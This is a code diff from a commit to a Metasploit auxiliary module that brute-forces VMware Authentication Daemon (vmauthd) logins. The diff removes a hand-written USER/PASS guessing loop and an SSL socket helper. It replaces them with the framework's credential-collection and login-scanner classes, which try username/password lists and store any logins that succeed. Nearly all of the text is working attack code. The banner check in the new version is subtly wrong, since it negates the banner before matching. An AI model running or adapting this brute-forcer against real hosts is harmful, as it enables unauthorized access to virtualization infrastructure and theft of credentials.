|
4 | 4 | ##
|
5 | 5 |
|
6 | 6 | require 'msf/core/exploit/tcp'
|
| 7 | +require 'metasploit/framework/credential_collection' |
| 8 | +require 'metasploit/framework/login_scanner/vmauthd' |
7 | 9 |
|
8 | 10 | class Metasploit3 < Msf::Auxiliary
|
9 | 11 |
|
@@ -33,103 +35,67 @@ def initialize
|
33 | 35 | end
|
34 | 36 |
|
35 | 37 | def run_host(ip)
|
36 |
| - begin |
37 |
| - |
38 |
| - connect rescue nil |
39 |
| - if not self.sock |
40 |
| - print_error "#{rhost}:#{rport} Could not connect to vmauthd" |
41 |
| - return |
42 |
| - end |
43 |
| - |
44 |
| - banner = sock.get_once(-1, 10) |
45 |
| - if not banner |
46 |
| - print_error "#{rhost}:#{rport} No banner received from vmauthd" |
47 |
| - return |
48 |
| - end |
49 |
| - |
50 |
| - banner = banner.strip |
51 |
| - print_status "#{rhost}:#{rport} Banner: #{banner}" |
52 |
| - |
53 |
| - unless banner =~ /VMware Authentication Daemon/ |
54 |
| - print_error "#{rhost}:#{rport} This does not appear to be a vmauthd service" |
55 |
| - return |
56 |
| - end |
| 38 | + print_brute :ip => ip, :msg => 'Starting bruteforce' |
57 | 39 |
|
58 |
| - if banner =~ /SSL/ |
59 |
| - print_status("#{rhost}:#{rport} Switching to SSL connection...") |
60 |
| - swap_sock_plain_to_ssl |
61 |
| - end |
62 |
| - |
63 |
| - each_user_pass do |user, pass| |
64 |
| - result = do_login(user, pass) |
65 |
| - case result |
66 |
| - when :failed |
67 |
| - print_error("#{rhost}:#{rport} vmauthd login FAILED - #{user}:#{pass}") |
68 |
| - when :success |
69 |
| - print_good("#{rhost}:#{rport} vmauthd login SUCCESS - #{user}:#{pass}") |
70 |
| - report_auth_info( |
71 |
| - :host => rhost, |
72 |
| - :port => rport, |
73 |
| - :sname => 'vmauthd', |
74 |
| - :user => user, |
75 |
| - :pass => pass, |
76 |
| - :source_type => "user_supplied", |
77 |
| - :active => true |
78 |
| - ) |
79 |
| - return if datastore['STOP_ON_SUCCESS'] |
80 |
| - else |
81 |
| - print_error("#{rhost}:#{rport} Error: #{result}") |
| 40 | + # Peform a sanity check to ensure that our target is vmauthd before |
| 41 | + # attempting to brute force it. |
| 42 | + begin |
| 43 | + connect rescue nil |
| 44 | + if !self.sock |
| 45 | + print_brute :level => :verror, :ip => ip, :msg => 'Could not connect' |
| 46 | + return |
| 47 | + end |
| 48 | + banner = sock.get_once(-1, 10) |
| 49 | + if !banner || !banner =~ /^220 VMware Authentication Daemon Version.*/ |
| 50 | + print_brute :level => :verror, :ip => ip, :msg => 'Target does not appear to be a vmauthd service' |
| 51 | + return |
82 | 52 | end
|
83 |
| - end |
84 | 53 |
|
85 |
| - rescue ::Interrupt |
86 |
| - raise $! |
| 54 | + rescue ::Interrupt |
| 55 | + raise $ERROR_INFO |
87 | 56 | ensure
|
88 | 57 | disconnect
|
89 | 58 | end
|
90 | 59 |
|
91 |
| - end |
| 60 | + cred_collection = Metasploit::Framework::CredentialCollection.new( |
| 61 | + blank_passwords: datastore['BLANK_PASSWORDS'], |
| 62 | + pass_file: datastore['PASS_FILE'], |
| 63 | + password: datastore['PASSWORD'], |
| 64 | + user_file: datastore['USER_FILE'], |
| 65 | + userpass_file: datastore['USERPASS_FILE'], |
| 66 | + username: datastore['USERNAME'], |
| 67 | + user_as_pass: datastore['USER_AS_PASS'] |
| 68 | + ) |
| 69 | + scanner = Metasploit::Framework::LoginScanner::VMAUTHD.new( |
| 70 | + host: ip, |
| 71 | + port: rport, |
| 72 | + proxies: datastore['PROXIES'], |
| 73 | + cred_details: cred_collection, |
| 74 | + stop_on_success: datastore['STOP_ON_SUCCESS'], |
| 75 | + connection_timeout: 30 |
| 76 | + ) |
92 | 77 |
|
93 |
| - def do_login(user, pass, nsock=self.sock) |
94 |
| - nsock.put("USER #{user}\r\n") |
95 |
| - res = nsock.get_once |
96 |
| - unless res.start_with? "331" |
97 |
| - ret_msg = "Unexpected reply to the USER command: #{res}" |
98 |
| - return ret_msg |
99 |
| - end |
100 |
| - nsock.put("PASS #{pass}\r\n") |
101 |
| - res = nsock.get_once || '' |
102 |
| - if res.start_with? "530" |
103 |
| - return :failed |
104 |
| - elsif res.start_with? "230" |
105 |
| - return :success |
106 |
| - else |
107 |
| - ret_msg = "Unexpected reply to the PASS command: #{res}" |
108 |
| - return ret_msg |
| 78 | + scanner.scan! do |result| |
| 79 | + credential_data = result.to_h |
| 80 | + credential_data.merge!( |
| 81 | + module_fullname: self.fullname, |
| 82 | + workspace_id: myworkspace_id |
| 83 | + ) |
| 84 | + case result.status |
| 85 | + when Metasploit::Model::Login::Status::SUCCESSFUL |
| 86 | + print_brute :level => :good, :ip => ip, :msg => "Success: '#{result.credential}' '#{result.proof.to_s.gsub(/[\r\n\e\b\a]/, ' ')}'" |
| 87 | + credential_core = create_credential(credential_data) |
| 88 | + credential_data[:core] = credential_core |
| 89 | + create_credential_login(credential_data) |
| 90 | + :next_user |
| 91 | + when Metasploit::Model::Login::Status::UNABLE_TO_CONNECT |
| 92 | + print_brute :level => :verror, :ip => ip, :msg => 'Could not connect' |
| 93 | + invalidate_login(credential_data) |
| 94 | + :abort |
| 95 | + when Metasploit::Model::Login::Status::INCORRECT |
| 96 | + print_brute :level => :verror, :ip => ip, :msg => "Failed: '#{result.credential}' #{result.proof}" |
| 97 | + invalidate_login(credential_data) |
| 98 | + end |
109 | 99 | end
|
110 | 100 | end
|
111 |
| - |
112 |
| - def swap_sock_plain_to_ssl(nsock=self.sock) |
113 |
| - ctx = generate_ssl_context() |
114 |
| - ssl = OpenSSL::SSL::SSLSocket.new(nsock, ctx) |
115 |
| - |
116 |
| - ssl.connect |
117 |
| - |
118 |
| - nsock.extend(Rex::Socket::SslTcp) |
119 |
| - nsock.sslsock = ssl |
120 |
| - nsock.sslctx = ctx |
121 |
| - end |
122 |
| - |
123 |
| - def generate_ssl_context |
124 |
| - ctx = OpenSSL::SSL::SSLContext.new(:SSLv3) |
125 |
| - @@cached_rsa_key ||= OpenSSL::PKey::RSA.new(1024){ } |
126 |
| - |
127 |
| - ctx.key = @@cached_rsa_key |
128 |
| - |
129 |
| - ctx.session_id_context = Rex::Text.rand_text(16) |
130 |
| - |
131 |
| - return ctx |
132 |
| - end |
133 |
| - |
134 |
| - |
135 | 101 | end
|
0 commit comments